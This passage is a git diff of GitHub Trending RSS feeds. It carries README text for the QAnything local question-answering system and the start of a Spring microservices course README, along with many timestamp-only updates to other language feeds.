<td>---</td> <td>---</td> </tr> <tr> <td></td> <td>Inactivity Warning</td> <td>Skip Self Ads</td> <td>โž–</td> <td>Release Calendar Filters</td> </tr> <tr> <td></td> <td>Auto pick last profile</td> <td>Paid Content filter</td> <td>โž–</td> <td>โž–</td> </tr> </tbody> </table> <h2>Changelog</h2> <p>You can see the <a href="https://raw.githubusercontent.com/Dreamlinerm/Netflix-Prime-Auto-Skip/main/CHANGELOG.md">Changelog</a> here or in the published versions.</p> <h2>Disclaimer</h2> <p>Netflix, Amazon Prime video and Disney+ are trademarks and the author of this addon is not affiliated with these companies.</p> + netease-youdao/QAnything + 2024-01-06T01:32:55Z + tag:github.com,2024-01-06:/netease-youdao/QAnything + + <p>Question and Answer based on Anything.</p><hr><div align="center"> <a href="https://github.com/netease-youdao/QAnything"> <!-- Please provide path to your logo here --> <img src="https://raw.githubusercontent.com/netease-youdao/QAnything/master/docs/images/qanything_logo.png" alt="Logo" width="800"> </a> <h1><strong>Q</strong>uestion and <strong>A</strong>nswer based on <strong>Anything</strong></h1> <p align="center"> <a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/README.md">English</a> | <a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/README_zh.md">็ฎ€ไฝ“ไธญๆ–‡</a> </p> </div> <div align="center"> <br> <a href="https://qanything.ai"><img src="https://img.shields.io/badge/try%20online-qanything.ai-purple"></a> &nbsp;&nbsp;&nbsp;&nbsp; <a href="https://read.youdao.com#/home"><img src="https://img.shields.io/badge/try%20online-read.youdao.com-purple"></a> &nbsp;&nbsp;&nbsp;&nbsp; <p><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/LICENSE"><img src="https://img.shields.io/badge/license-Apache--2.0-yellow"></a> &nbsp;&nbsp;&nbsp;&nbsp; <a href="https://github.com/netease-youdao/QAnything/pulls"><img src="https://img.shields.io/badge/PRs-welcome-red"></a> &nbsp;&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/YDopensource"><img src="https://img.shields.io/badge/follow-%40YDOpenSource-1DA1F2?logo=twitter&amp;style={style}"></a> &nbsp;&nbsp;&nbsp;&nbsp;</p> </div> <details open> <summary>Table of Contents</summary> <ul> <li><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/#What-is-QAnything">What is QAnything</a> <ul> <li><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/#Key-features">Key features</a></li> <li><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/#Architecture">Architecture</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/#getting-started">Getting Started</a> <ul> <li><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/#prerequisites">Prerequisites</a></li> <li><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/#installation">Installation</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/#usage">Usage</a> <ul> <li><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/#API-Document">API Document</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/#WeChat-Group">WeChat Group</a></li> <li><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/#support">Support</a></li> <li><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/#license">License</a></li> <li><a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/#Acknowledgments">Acknowledgements</a></li> </ul> </details> <h2>What is QAnything?</h2> <p><strong>Q</strong>uestion and <strong>A</strong>nswer based on <strong>Anything</strong> (<code>QAnything</code>) is a local knowledge base question-answering system designed to support a wide range of file formats and databases, allowing for offline installation and use.</p> <p>With <code>QAnything</code>, you can simply drop any locally stored file of any format and receive accurate, fast, and reliable answers.</p> <p>Currently supported formats include: <strong>PDF, Word (doc/docx), PPT, Markdown, Eml, TXT, Images (jpg, png, etc.), Web links</strong> and more formats coming soonโ€ฆ</p> <h3>Key features</h3> <ul> <li><strong>Data Security</strong>, supports installation and usage with network cable unplugged throughout the process.</li> <li><strong>Cross-language QA support</strong>, freely switch between Chinese and English QA, regardless of the language of the document.</li> <li><strong>Supports massive data QA</strong>, two-stage retrieval ranking, solving the degradation problem of large-scale data retrieval; the more data, the better the performance.</li> <li><strong>High-performance production-grade system</strong>, directly deployable for enterprise applications.</li> <li><strong>User-friendly</strong>, no need for cumbersome configurations, one-click installation and deployment, ready to use.</li> <li><strong>Multi knowledge base QA</strong> Support selecting multiple knowledge bases for Q&amp;A</li> </ul> <h3>Architecture</h3> <div align="center"> <img src="https://raw.githubusercontent.com/netease-youdao/QAnything/master/docs/images/qanything_arch.png" width="700" alt="qanything_system" align="center"> </div> <h4>Why 2 stage retrieval?</h4> <p>In scenarios with a large volume of knowledge base data, the advantages of a two-stage approach are very clear. If only a first-stage embedding retrieval is used, there will be a problem of retrieval degradation as the data volume increases, as indicated by the green line in the following graph. However, after the second-stage reranking, there can be a stable increase in accuracy, <strong>the more data, the better the performance</strong>.</p> <div align="center"> <img src="https://raw.githubusercontent.com/netease-youdao/QAnything/master/docs/images/two_stage_retrieval.jpg" width="500" alt="two stage retrievaal" align="center"> </div> <br> <p>QAnything uses the retrieval component <a href="https://github.com/netease-youdao/BCEmbedding">BCEmbedding</a>, which is distinguished for its bilingual and crosslingual proficiency. BCEmbedding excels in bridging Chinese and English linguistic gaps, which achieves</p> <ul> <li><strong>A high performence on <a href="https://github.com/netease-youdao/BCEmbedding/tree/master?tab=readme-ov-file#evaluate-semantic-representation-by-mteb" target="_Self">Semantic Representation Evaluations in MTEB</a></strong>;</li> <li><strong>A new benchmark in the realm of <a href="https://github.com/netease-youdao/BCEmbedding/tree/master?tab=readme-ov-file#evaluate-rag-by-llamaindex" target="_Self">RAG Evaluations in LlamaIndex</a></strong>.</li> </ul> <h4>1st Retrieval๏ผˆembedding๏ผ‰</h4> <table> <thead> <tr> <th align="left">Model</th> <th align="center">Retrieval</th> <th align="center">STS</th> <th align="center">PairClassification</th> <th align="center">Classification</th> <th align="center">Reranking</th> <th align="center">Clustering</th> <th align="center">Avg</th> </tr> </thead> <tbody> <tr> <td align="left">bge-base-en-v1.5</td> <td align="center">37.14</td> <td align="center">55.06</td> <td align="center">75.45</td> <td align="center">59.73</td> <td align="center">43.05</td> <td align="center">37.74</td> <td align="center">47.20</td> </tr> <tr> <td align="left">bge-base-zh-v1.5</td> <td align="center">47.60</td> <td align="center">63.72</td> <td align="center">77.40</td> <td align="center">63.38</td> <td align="center">54.85</td> <td align="center">32.56</td> <td align="center">53.60</td> </tr> <tr> <td align="left">bge-large-en-v1.5</td> <td align="center">37.15</td> <td align="center">54.09</td> <td align="center">75.00</td> <td align="center">59.24</td> <td align="center">42.68</td> <td align="center">37.32</td> <td align="center">46.82</td> </tr> <tr> <td align="left">bge-large-zh-v1.5</td> <td align="center">47.54</td> <td align="center">64.73</td> <td align="center"><strong>79.14</strong></td> <td align="center">64.19</td> <td align="center">55.88</td> <td align="center">33.26</td> <td align="center">54.21</td> </tr> <tr> <td align="left">jina-embeddings-v2-base-en</td> <td align="center">31.58</td> <td align="center">54.28</td> <td align="center">74.84</td> <td align="center">58.42</td> <td align="center">41.16</td> <td align="center">34.67</td> <td align="center">44.29</td> </tr> <tr> <td align="left">m3e-base</td> <td align="center">46.29</td> <td align="center">63.93</td> <td align="center">71.84</td> <td align="center">64.08</td> <td align="center">52.38</td> <td align="center">37.84</td> <td align="center">53.54</td> </tr> <tr> <td align="left">m3e-large</td> <td align="center">34.85</td> <td align="center">59.74</td> <td align="center">67.69</td> <td align="center">60.07</td> <td align="center">48.99</td> <td align="center">31.62</td> <td align="center">46.78</td> </tr> <tr> <td align="left"><em><strong>bce-embedding-base_v1</strong></em></td> <td align="center"><strong>57.60</strong></td> <td align="center"><strong>65.73</strong></td> <td align="center">74.96</td> <td align="center"><strong>69.00</strong></td> <td align="center"><strong>57.29</strong></td> <td align="center"><strong>38.95</strong></td> <td align="center"><em><strong>59.43</strong></em></td> </tr> </tbody> </table> <ul> <li>More evaluation details please check <a href="https://github.com/netease-youdao/BCEmbedding/raw/master/Docs/EvaluationSummary/embedding_eval_summary.md">Embedding Models Evaluation Summary</a>ใ€‚</li> </ul> <h4>2nd Retrieval๏ผˆrerank๏ผ‰</h4> <table> <thead> <tr> <th align="left">Model</th> <th align="center">Reranking</th> <th align="center">Avg</th> </tr> </thead> <tbody> <tr> <td align="left">bge-reranker-base</td> <td align="center">57.78</td> <td align="center">57.78</td> </tr> <tr> <td align="left">bge-reranker-large</td> <td align="center">59.69</td> <td align="center">59.69</td> </tr> <tr> <td align="left"><em><strong>bce-reranker-base_v1</strong></em></td> <td align="center"><strong>60.06</strong></td> <td align="center"><em><strong>60.06</strong></em></td> </tr> </tbody> </table> <ul> <li>More evaluation details please check <a href="https://github.com/netease-youdao/BCEmbedding/raw/master/Docs/EvaluationSummary/reranker_eval_summary.md">Reranker Models Evaluation Summary</a></li> </ul> <h4>RAG Evaluations in LlamaIndex๏ผˆembedding and rerank๏ผ‰</h4> <img src="https://github.com/netease-youdao/BCEmbedding/raw/master/Docs/assets/rag_eval_multiple_domains_summary.jpg"> <p><em><strong>NOTE:</strong></em></p> <ul> <li>In <code>WithoutReranker</code> setting, our <code>bce-embedding-base_v1</code> outperforms all the other embedding models.</li> <li>With fixing the embedding model, our <code>bce-reranker-base_v1</code> achieves the best performence.</li> <li><strong>The combination of <code>bce-embedding-base_v1</code> and <code>bce-reranker-base_v1</code> is SOTA</strong>.</li> <li>If you want to use embedding and rerank separately, please refer to <a href="https://github.com/netease-youdao/BCEmbedding">BCEmbedding</a></li> </ul> <h4>LLM</h4> <p>The open source version of QAnything is based on QwenLM and has been fine-tuned on a large number of professional question-answering datasets. It greatly enhances the ability of question-answering. If you need to use it for commercial purposes, please follow the license of QwenLM. For more details, please refer to: <a href="https://github.com/QwenLM/Qwen">QwenLM</a></p> <h2>Getting Started</h2> <p><a href="https://qanything.ai"><span>๐Ÿ‘‰</span> try QAnything online</a></p> <h3>Prerequisites</h3> <table> <thead> <tr> <th><strong>Required item</strong></th> <th><strong>Minimum Requirement</strong></th> <th><strong>Note</strong></th> </tr> </thead> <tbody> <tr> <td>NVIDIA GPU Memory</td> <td>&gt;= 16GB</td> <td>NVIDIA 3090 recommended</td> </tr> <tr> <td>NVIDIA Driver Version</td> <td>&gt;= 525.105.17</td> <td></td> </tr> <tr> <td>CUDA Version</td> <td>&gt;= 12.0</td> <td></td> </tr> <tr> <td>docker compose version</td> <td>&gt;=1.27.4</td> <td><a href="https://docs.docker.com/compose/install/">docker compose install</a></td> </tr> </tbody> </table> <h3>Installation</h3> <ul> <li>step1: pull qanything repository</li> </ul> <pre><code>git clone https://github.com/netease-youdao/QAnything.git </code></pre> <ul> <li>step2: download the model and unzip it to the root directory of the current project.</li> </ul> <pre><code>cd QAnything git clone https://www.modelscope.cn/netease-youdao/qanything_models.git unzip qanything_models/models.zip # in root directory of the current project </code></pre> <ul> <li>step3: change config</li> </ul> <pre><code>vim front_end/.env # change 10.55.163.92 to your host vim docker-compose.yaml # change CUDA_VISIBLE_DEVICES to your gpu device id </code></pre> <ul> <li>step4: start server</li> </ul> <pre><code>docker-compose up -d </code></pre> <p>After successful installation, you can experience the application by entering the following addresses in your web browser.</p> <ul> <li> <p>Frontend address: http://{your_host}:5052/qanything</p> </li> <li> <p>API address: http://{your_host}:5052/api/</p> </li> </ul> <p>For detailed API documentation, please refer to <a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/docs/API.md">QAnything API ๆ–‡ๆกฃ</a></p> <h2>Usage</h2> <h3>Cross-lingual: Multiple English paper Q&amp;A</h3> <p><a href="https://github.com/netease-youdao/QAnything/assets/141105427/8915277f-c136-42b8-9332-78f64bf5df22"><img src="https://raw.githubusercontent.com/netease-youdao/QAnything/master/docs/videos/multi_paper_qa.mp4" alt=""></a></p> <h3>Information extraction</h3> <p><a href="https://github.com/netease-youdao/QAnything/assets/141105427/b9e3be94-183b-4143-ac49-12fa005a8a9a"><img src="https://raw.githubusercontent.com/netease-youdao/QAnything/master/docs/videos/information_extraction.mp4" alt=""></a></p> <h3>Various files</h3> <p><a href="https://github.com/netease-youdao/QAnything/assets/141105427/7ede63c1-4c7f-4557-bd2c-7c51a44c8e0b"><img src="https://raw.githubusercontent.com/netease-youdao/QAnything/master/docs/videos/various_files_qa.mp4" alt=""></a></p> <h3>Web Q&amp;A</h3> <p><a href="https://github.com/netease-youdao/QAnything/assets/141105427/d30942f7-6dbd-4013-a4b6-82f7c2a5fbee"><img src="https://raw.githubusercontent.com/netease-youdao/QAnything/master/docs/videos/web_qa.mp4" alt=""></a></p> <h3>API Document</h3> <p>If you need to access the API, please refer to the <a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/docs/API.md">QAnything API documentation</a>.</p> <h2>WeChat Group</h2> <p>Welcome to scan the QR code below and join the WeChat group.</p> <img src="https://raw.githubusercontent.com/netease-youdao/QAnything/master/docs/images/Wechat.jpg" width="20%" height="auto"> <h2>Support</h2> <p>Reach out to the maintainer at one of the following places:</p> <ul> <li><a href="https://github.com/netease-youdao/QAnything/issues">Github issues</a></li> <li>Contact options listed on <a href="https://github.com/netease-youdao">this GitHub profile</a></li> </ul> <h2>License</h2> <p><code>QAnything</code> is licensed under <a href="https://raw.githubusercontent.com/netease-youdao/QAnything/master/LICENSE">Apache 2.0 License</a></p> <h2>Acknowledgments</h2> <p><code>QAnything</code> adopts dependencies from the following:</p> <ul> <li>Thanks to our <a href="https://github.com/netease-youdao/BCEmbedding">BCEmbedding</a> for the excellent embedding and rerank model.</li> <li>Thanks to <a href="https://github.com/QwenLM/Qwen">Qwen</a> for strong base language models.</li> <li>Thanks to <a href="https://github.com/triton-inference-server/server">Triton Inference Server</a> for providing great open source inference serving.</li> <li>Thanks to <a href="https://github.com/NVIDIA/FasterTransformer">FasterTransformer</a> for highly optimized LLM inference backend.</li> <li>Thanks to <a href="https://github.com/langchain-ai/langchain">Langchain</a> for the wonderful llm application framework.</li> <li>Thanks to <a href="https://github.com/chatchat-space/Langchain-Chatchat">Langchain-Chatchat</a> for the inspiration provided on local knowledge base Q&amp;A.</li> <li>Thanks to <a href="https://github.com/milvus-io/milvus">Milvus</a> for the excellent semantic search library.</li> <li>Thanks to <a href="https://github.com/PaddlePaddle/PaddleOCR">PaddleOCR</a> for its ease-to-use OCR library.</li> <li>Thanks to <a href="https://github.com/sanic-org/sanic">Sanic</a> for the powerful web service framework.</li> </ul> \ No newline at end of file diff --git a/http/daily/index.xml b/http/daily/index.xml index 5e491a775ab..240393a7ef5 100644 --- a/http/daily/index.xml +++ b/http/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTTP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:13Z + 2024-01-06T01:33:07Z Daily Trending of HTTP in GitHub \ No newline at end of file diff --git a/hxml/daily/index.xml b/hxml/daily/index.xml index 8236862a93b..a5421f1ab80 100644 --- a/hxml/daily/index.xml +++ b/hxml/daily/index.xml @@ -1,7 +1,7 @@ GitHub HXML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:11Z + 2024-01-06T01:33:08Z Daily Trending of HXML in GitHub \ No newline at end of file diff --git a/hy/daily/index.xml b/hy/daily/index.xml index 3af99c18b5a..1e0fd689ef1 100644 --- a/hy/daily/index.xml +++ b/hy/daily/index.xml @@ -1,7 +1,7 @@ GitHub Hy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:12Z + 2024-01-06T01:33:08Z Daily Trending of Hy in GitHub \ No newline at end of file diff --git a/hyphy/daily/index.xml b/hyphy/daily/index.xml index 5fcf74eb2f8..9ed4e1e996a 100644 --- a/hyphy/daily/index.xml +++ b/hyphy/daily/index.xml @@ -1,7 +1,7 @@ GitHub HyPhy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:15Z + 2024-01-06T01:33:12Z Daily Trending of HyPhy in GitHub \ No newline at end of file diff --git a/idl/daily/index.xml b/idl/daily/index.xml index 42bfda0eb58..cae28c9c874 100644 --- a/idl/daily/index.xml +++ b/idl/daily/index.xml @@ -1,7 +1,7 @@ GitHub IDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:18Z + 2024-01-06T01:33:10Z Daily Trending of IDL in GitHub \ No newline at end of file diff --git a/idris/daily/index.xml b/idris/daily/index.xml index 807aa7df443..3c3320cb1db 100644 --- a/idris/daily/index.xml +++ b/idris/daily/index.xml @@ -1,7 +1,7 @@ GitHub Idris Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:17Z + 2024-01-06T01:33:09Z Daily Trending of Idris in GitHub \ No newline at end of file diff --git a/ignore-list/daily/index.xml b/ignore-list/daily/index.xml index 2958b884119..223ed1db753 100644 --- a/ignore-list/daily/index.xml +++ b/ignore-list/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ignore List Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:16Z + 2024-01-06T01:33:11Z Daily Trending of Ignore List in GitHub \ No newline at end of file diff --git a/igor-pro/daily/index.xml b/igor-pro/daily/index.xml index e7947920110..fe8d3ef04d0 100644 --- a/igor-pro/daily/index.xml +++ b/igor-pro/daily/index.xml @@ -1,7 +1,7 @@ GitHub IGOR Pro Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:21Z + 2024-01-06T01:33:14Z Daily Trending of IGOR Pro in GitHub \ No newline at end of file diff --git a/imagej-macro/daily/index.xml b/imagej-macro/daily/index.xml index 5408e662491..eda71d6d71f 100644 --- a/imagej-macro/daily/index.xml +++ b/imagej-macro/daily/index.xml @@ -1,7 +1,7 @@ GitHub ImageJ Macro Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:20Z + 2024-01-06T01:33:15Z Daily Trending of ImageJ Macro in GitHub \ No newline at end of file diff --git a/inform-7/daily/index.xml b/inform-7/daily/index.xml index 2452a138659..565e0eb839f 100644 --- a/inform-7/daily/index.xml +++ b/inform-7/daily/index.xml @@ -1,7 +1,7 @@ GitHub Inform 7 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:20Z + 2024-01-06T01:33:14Z Daily Trending of Inform 7 in GitHub \ No newline at end of file diff --git a/ini/daily/index.xml b/ini/daily/index.xml index 341466d9669..f8fb9253acd 100644 --- a/ini/daily/index.xml +++ b/ini/daily/index.xml @@ -1,7 +1,7 @@ GitHub INI Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:23Z + 2024-01-06T01:33:17Z Daily Trending of INI in GitHub \ No newline at end of file diff --git a/inno-setup/daily/index.xml b/inno-setup/daily/index.xml index d1954dd7649..13f233b19c4 100644 --- a/inno-setup/daily/index.xml +++ b/inno-setup/daily/index.xml @@ -1,7 +1,7 @@ GitHub Inno Setup Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:22Z + 2024-01-06T01:33:18Z Daily Trending of Inno Setup in GitHub \ No newline at end of file diff --git a/io/daily/index.xml b/io/daily/index.xml index cd6bf44ab89..d1d6923c1dd 100644 --- a/io/daily/index.xml +++ b/io/daily/index.xml @@ -1,7 +1,7 @@ GitHub Io Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:24Z + 2024-01-06T01:33:19Z Daily Trending of Io in GitHub \ No newline at end of file diff --git a/ioke/daily/index.xml b/ioke/daily/index.xml index 090140580c0..5ade90dfa5a 100644 --- a/ioke/daily/index.xml +++ b/ioke/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ioke Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:28Z + 2024-01-06T01:33:22Z Daily Trending of Ioke in GitHub \ No newline at end of file diff --git a/irc-log/daily/index.xml b/irc-log/daily/index.xml index 0ea4704ae34..fdb7bba4049 100644 --- a/irc-log/daily/index.xml +++ b/irc-log/daily/index.xml @@ -1,7 +1,7 @@ GitHub IRC log Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:26Z + 2024-01-06T01:33:23Z Daily Trending of IRC log in GitHub \ No newline at end of file diff --git a/isabelle-root/daily/index.xml b/isabelle-root/daily/index.xml index 85005f002e1..8190eea59cc 100644 --- a/isabelle-root/daily/index.xml +++ b/isabelle-root/daily/index.xml @@ -1,7 +1,7 @@ GitHub Isabelle ROOT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:29Z + 2024-01-06T01:33:21Z Daily Trending of Isabelle ROOT in GitHub \ No newline at end of file diff --git a/isabelle/daily/index.xml b/isabelle/daily/index.xml index cecfa6cd9c6..4e7db59bf93 100644 --- a/isabelle/daily/index.xml +++ b/isabelle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Isabelle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:27Z + 2024-01-06T01:33:20Z Daily Trending of Isabelle in GitHub \ No newline at end of file diff --git a/j/daily/index.xml b/j/daily/index.xml index 91dbe4eeeee..2ac274cf578 100644 --- a/j/daily/index.xml +++ b/j/daily/index.xml @@ -1,7 +1,7 @@ GitHub J Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:32Z + 2024-01-06T01:33:24Z Daily Trending of J in GitHub \ No newline at end of file diff --git a/janet/daily/index.xml b/janet/daily/index.xml index 017ccd283fa..88dc2e51785 100644 --- a/janet/daily/index.xml +++ b/janet/daily/index.xml @@ -1,7 +1,7 @@ GitHub Janet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:31Z + 2024-01-06T01:33:26Z Daily Trending of Janet in GitHub \ No newline at end of file diff --git a/jar-manifest/daily/index.xml b/jar-manifest/daily/index.xml index de94996d814..ed56b031a80 100644 --- a/jar-manifest/daily/index.xml +++ b/jar-manifest/daily/index.xml @@ -1,7 +1,7 @@ GitHub JAR Manifest Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:33Z + 2024-01-06T01:33:25Z Daily Trending of JAR Manifest in GitHub \ No newline at end of file diff --git a/jasmin/daily/index.xml b/jasmin/daily/index.xml index 5636e23f65c..54a0c069c0f 100644 --- a/jasmin/daily/index.xml +++ b/jasmin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jasmin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:30Z + 2024-01-06T01:33:24Z Daily Trending of Jasmin in GitHub \ No newline at end of file diff --git a/java-properties/daily/index.xml b/java-properties/daily/index.xml index 1dfad633e54..f256a576ed2 100644 --- a/java-properties/daily/index.xml +++ b/java-properties/daily/index.xml @@ -1,7 +1,7 @@ GitHub Java Properties Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:34Z + 2024-01-06T01:33:27Z Daily Trending of Java Properties in GitHub \ No newline at end of file diff --git a/java-server-pages/daily/index.xml b/java-server-pages/daily/index.xml index f654567f441..68a960b0ac1 100644 --- a/java-server-pages/daily/index.xml +++ b/java-server-pages/daily/index.xml @@ -1,7 +1,7 @@ GitHub Java Server Pages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:34Z + 2024-01-06T01:33:28Z Daily Trending of Java Server Pages in GitHub \ No newline at end of file diff --git a/java/daily/index.xml b/java/daily/index.xml index 39eecd08365..22467161e84 100644 --- a/java/daily/index.xml +++ b/java/daily/index.xml @@ -1,7 +1,14 @@ GitHub Java Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:34:49Z + 2024-01-06T01:33:33Z Daily Trending of Java in GitHub + + eazybytes/microservices + 2024-01-06T01:33:33Z + tag:github.com,2024-01-06:/eazybytes/microservices + + <p>Microservices With Spring, Docker, Kubernetes - Code Examples</p><hr><h1>Master Microservices with Spring Boot, Docker, Kubernetes</h1> <p><a href="https://www.udemy.com/course/master-microservices-with-spring-docker-kubernetes/?referralCode=9365DB9B7EE637F629A9"><img src="https://github.com/eazybytes/microservices/raw/main/Microservice.png" alt="Image" title="Master Microservices with Java, Spring, Docker, Kubernetes"></a></p> <p>Learn how to create enterprise and production ready Microservices with Spring, Spring Cloud, Docker and Kubernetes.</p> <h2>Topics covered in the course</h2> <ul> <li>Section 1 - Introduction to Microservices Architecture</li> <li>Section 2- Building microservices using Spring Boot</li> <li>Section 3 - How do we right size our microservices &amp; identify boundaries</li> <li>Section 4 - Handle deployment, portability &amp; scalability of microservices using Docker</li> <li>Section 5 - Deep Dive on Cloud Native Apps &amp; 15-Factor methodology</li> <li>Section 6 - Configurations Management in Microservices</li> <li>Section 7 - Using MySQL DBs inside microservices</li> <li>Section 8 - Service Discovery &amp; Service Registration in microservices</li> <li>Section 9 - Gateway, Routing &amp; Cross cutting concerns in Microservices</li> <li>Section 10 - Making Microservices Resilient</li> <li>Section 11 - Observability and monitoring of microservices</li> <li>Section 12 - Microservices Security</li> <li>Section 13 - Event Driven microservices using RabbitMQ,Spring Cloud Functions &amp; Stream</li> <li>Section 14 - Event Driven microservices using Kafka,Spring Cloud Functions &amp; Stream</li> <li>Section 15 - Container Orchestration using Kubernetes</li> <li>Section 16 - Deep dive on Helm</li> <li>Section 17 - Server-side service discovery and load balancing using Kubernetes</li> <li>Section 18 - Deploying microservices into cloud K8s cluster</li> <li>Section 19 - Introduction to K8s Ingress, Service Mesh (Istio) &amp; mTLS</li> <li>Section 20 - Congratulations &amp; Thank You</li> </ul> <h2>Pre-requisite for the course</h2> <ul> <li>Good understanding on Java and Spring concepts</li> <li>Basic understanding on SpringBoot &amp; REST services is a bonus but not mandatory</li> <li>Interest to learn and explore about Microservices</li> </ul> <h1>Important Links</h1> <ul> <li>Spring Boot - <a href="https://spring.io/projects/spring-boot">https://spring.io/projects/spring-boot</a></li> <li>Create SpringBoot project - <a href="https://start.spring.io">https://start.spring.io</a></li> <li>DTO pattern blog - <a href="https://martinfowler.com/eaaCatalog/dataTransferObject.html">https://martinfowler.com/eaaCatalog/dataTransferObject.html</a></li> <li>Model Mapper - <a href="http://modelmapper.org/">http://modelmapper.org/</a></li> <li>Map Struct - <a href="https://mapstruct.org/">https://mapstruct.org/</a></li> <li>Spring Doc - <a href="https://springdoc.org/">https://springdoc.org/</a></li> <li>Open API - <a href="https://www.openapis.org/">https://www.openapis.org/</a></li> <li>Lucidchart Blog - <a href="https://www.lucidchart.com/blog/ddd-event-storming">https://www.lucidchart.com/blog/ddd-event-storming</a></li> <li>Docker website - <a href="https://www.docker.com">https://www.docker.com</a></li> <li>Docker hub website - <a href="https://hub.docker.com">https://hub.docker.com</a></li> <li>Buildpacks website - <a href="https://buildpacks.io">https://buildpacks.io</a></li> <li>Google Jib website - <a href="https://github.com/GoogleContainerTools/jib">https://github.com/GoogleContainerTools/jib</a></li> <li>Docker compose website - <a href="https://docs.docker.com/compose/">https://docs.docker.com/compose/</a></li> <li>Twelve-Factor methodology - <a href="https://12factor.net">https://12factor.net</a></li> <li>Beyond the Twelve-Factor App book - <a href="https://www.oreilly.com/library/view/beyond-the-twelve-factor/9781492042631/">https://www.oreilly.com/library/view/beyond-the-twelve-factor/9781492042631/</a></li> <li>Spring Cloud website - <a href="https://spring.io/projects/spring-cloud">https://spring.io/projects/spring-cloud</a></li> <li>Spring Cloud Config website - <a href="https://spring.io/projects/spring-cloud-config">https://spring.io/projects/spring-cloud-config</a></li> <li>Spring Cloud Bus website - <a href="https://spring.io/projects/spring-cloud-bus">https://spring.io/projects/spring-cloud-bus</a></li> <li>RabbitMQ website - <a href="https://www.rabbitmq.com">https://www.rabbitmq.com</a></li> <li>Hookdeck website- <a href="https://hookdeck.com">https://hookdeck.com</a></li> <li>Spring Cloud Netflix website - <a href="https://spring.io/projects/spring-cloud-netflix">https://spring.io/projects/spring-cloud-netflix</a></li> <li>Spring Cloud OpenFeign - <a href="https://spring.io/projects/spring-cloud-openfeign">https://spring.io/projects/spring-cloud-openfeign</a></li> <li>Netflix Blog - <a href="https://netflixtechblog.com/netflix-oss-and-spring-boot-coming-full-circle-4855947713a0">https://netflixtechblog.com/netflix-oss-and-spring-boot-coming-full-circle-4855947713a0</a></li> <li>Resilience4j website - <a href="https://resilience4j.readme.io">https://resilience4j.readme.io</a></li> <li>Spring Cloud Gateway website - <a href="https://spring.io/projects/spring-cloud-gateway">https://spring.io/projects/spring-cloud-gateway</a></li> <li>Stripe RateLimitter pattern blog - <a href="https://stripe.com/blog/rate-limiters">https://stripe.com/blog/rate-limiters</a></li> <li>Apache Benchmark website - <a href="https://httpd.apache.org">https://httpd.apache.org</a></li> <li>Grafana website - <a href="https://grafana.com">https://grafana.com</a></li> <li>Grafana Loki setup - <a href="https://grafana.com/docs/loki/latest/getting-started/">https://grafana.com/docs/loki/latest/getting-started/</a></li> <li>Micrometer website - <a href="https://micrometer.io">https://micrometer.io</a></li> <li>Prometheus website - <a href="https://prometheus.io/">https://prometheus.io/</a></li> <li>Grafana Dashboards - <a href="https://grafana.com/grafana/dashboards/">https://grafana.com/grafana/dashboards/</a></li> <li>OpenTelemetry website - <a href="https://opentelemetry.io/">https://opentelemetry.io/</a></li> <li>OpenTelemetry automatic instrumentation - <a href="https://opentelemetry.io/docs/instrumentation/java/automatic/">https://opentelemetry.io/docs/instrumentation/java/automatic/</a></li> <li>Keycloak website - <a href="https://www.keycloak.org/">https://www.keycloak.org/</a></li> <li>Apache Kafka website - <a href="https://kafka.apache.org">https://kafka.apache.org</a></li> <li>Docker compose file for Kafka - <a 